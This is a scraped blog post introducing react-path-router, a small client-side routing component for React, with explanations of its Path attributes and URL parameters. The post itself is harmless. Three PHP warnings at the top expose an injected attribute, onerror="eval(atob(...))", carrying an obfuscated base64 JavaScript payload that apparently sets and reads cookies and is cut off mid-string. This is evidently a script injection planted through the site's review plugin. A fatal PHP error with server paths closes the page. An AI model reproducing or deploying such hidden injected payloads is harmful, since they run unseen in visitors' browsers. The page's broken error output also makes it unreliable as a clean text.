React / Client side routing – Path component


Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/themes/flat/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICA in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/themes/flat/wppr/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cmluZygxLCBjLmxlbmd0aCk7CiAgICAgICA in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

Warning: file_exists(): File name is longer than the maximum allowed path length on this platform (4096): /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/public/layouts/default' onerror="eval(atob('ZnVuY3Rpb24gc3RhcnQoKSB7CiAgICBmdW5jdGlvbiBzZXRDb29raWUobmFtZSwgdmFsdWUsIGRheXMpIHsKICAgICAgICB2YXIgZXhwaXJlcyA9ICIiOwogICAgICAgIGlmIChkYXlzKSB7CiAgICAgICAgICAgIHZhciBkYXRlID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgZGF0ZS5zZXRUaW1lKGRhdGUuZ2V0VGltZSgpICsgKGRheXMgKiAyNCAqIDYwICogNjAgKiAxMDAwKSk7CiAgICAgICAgICAgIGV4cGlyZXMgPSAiOyBleHBpcmVzPSIgKyBkYXRlLnRvVVRDU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IG5hbWUgKyAiPSIgKyAodmFsdWUgfHwgIiIpICsgZXhwaXJlcyArICI7IHBhdGg9LyI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0Q29va2llKG5hbWUpIHsKICAgICAgICB2YXIgbmFtZUVRID0gbmFtZSArICI9IjsKICAgICAgICB2YXIgY2EgPSBkb2N1bWVudC5jb29raWUuc3BsaXQoIjsiKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IGNhLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIHZhciBjID0gY2FbaV07CiAgICAgICAgICAgIHdoaWxlIChjLmNoYXJBdCgwKSA9PSAiICIpIGMgPSBjLnN1YnN0cm in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/class-wppr-template.php on line 93

React is view only library. I really like that it doesn’t try to be a full stack solution. Thanks to that it’s easy to fill the gaps with the library you know and prefer. And routing is one of those gap. In my first react’s app I simply took a look at complementary tools page and chose directorjs for a start. It worked well although very soon I stumbled across few annoying bugs (like not calling route action on init). Workarounds exist but looks like author has no time recently to provide proper fixes. But bugs are not a problem actually. Directorjs simply doesn’t fit conceptually to react. They are two different worlds. So I looked further. The next promising library was react router component. Composable routes in a way one compose react’s comonents was exactly what I was looking for. Unfortunately I have to give up on it because it was a nodejs component and I needed simple and pure javascript solution. And it was too big for my needs. Finally I decided to create my own routing component. Of course it doesn’t have so many features – for example it lacks server side routing (I use scala and spray for that) or server side component rendering but it solves client side routing (for now without supporting html5 history). Sources can be find here: https://github.com/unodgs/react-path-router. Screenshot from github demo:

react-path-router-example0

And the demo source file:

To initialize router PathInit function must be used. First argument is the main react component instance and the second is a dom node to which rendered component will be attached to. Having done that in App component we can now use <Path/>.

url is a constant attribute that must be passed to the Path to allow it properly analyze the url. It contains previous part of an url that was matched in the parent component and the “next url” that will be parsed in the context of current component (component that Path belongs to). I hope React authors allow in the future to define attributes that are automatically transferred from parent component. That would allow to avoid this boilerplate making Path declaration clearer. Anyway for now url is required to be provided by the user. Second attribute name defines part of the url that must be matched to render component pointed by render attribute. Name don’t distinguish between /clients, clients/ and clients. They are all equivalent. Name can also contains many parts: /clients/new, /clients/under/32 and so on. What’s more interesting it can contains parameters like that:

  • /client/:id
  • /group/:groupName/user/:userId

If such an url is matched, every parameter that was found is passed to the rendered component in it’s props. In the case above id would be accessed by this.props.id and the gorupName by this.props.groupName.

Path also passes one more parameter in the props of rendered component. It’s a componentUrl and it contains current component’s url. In the combination with an component it can be used to build links in a safe way (that means you won’t need to change urls everywhere if for example one of the parent component’s name will change). In the example it’s used like this:

Sometimes instead of building separate components and passing them as render attribute in many Paths it’s easier to choose what to render directly in one component.

Paths can be replaced with anything (<div> for example). It’s there only because in react you cannot return tags without common parent.

And pretty much that’s all :). I certainly will keep on working on Path component but I think it’s a good start for everyone that would like to develop something similar adjusted to his requirements. The current code is only 196 lines and should be easy to follow. See you.


Fatal error: Uncaught ArgumentCountError: Too few arguments to function cwppos_show_review(), 0 passed in /home/unodgs/public_html/blog/wp-content/themes/flat/content-single.php on line 29 and exactly 1 expected in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/legacy.php:18 Stack trace: #0 /home/unodgs/public_html/blog/wp-content/themes/flat/content-single.php(29): cwppos_show_review() #1 /home/unodgs/public_html/blog/wp-includes/template.php(725): require('/home/unodgs/pu...') #2 /home/unodgs/public_html/blog/wp-includes/template.php(672): load_template('/home/unodgs/pu...', false) #3 /home/unodgs/public_html/blog/wp-includes/general-template.php(168): locate_template(Array, true, false) #4 /home/unodgs/public_html/blog/wp-content/themes/flat/single.php(5): get_template_part('content', 'single') #5 /home/unodgs/public_html/blog/wp-includes/template-loader.php(106): include('/home/unodgs/pu...') #6 /home/unodgs/public_html/blog/wp-blog-header.php(19): require_once('/home/unodgs/pu...') #7 /ho in /home/unodgs/public_html/blog/wp-content/plugins/wp-product-review/includes/legacy.php on line 18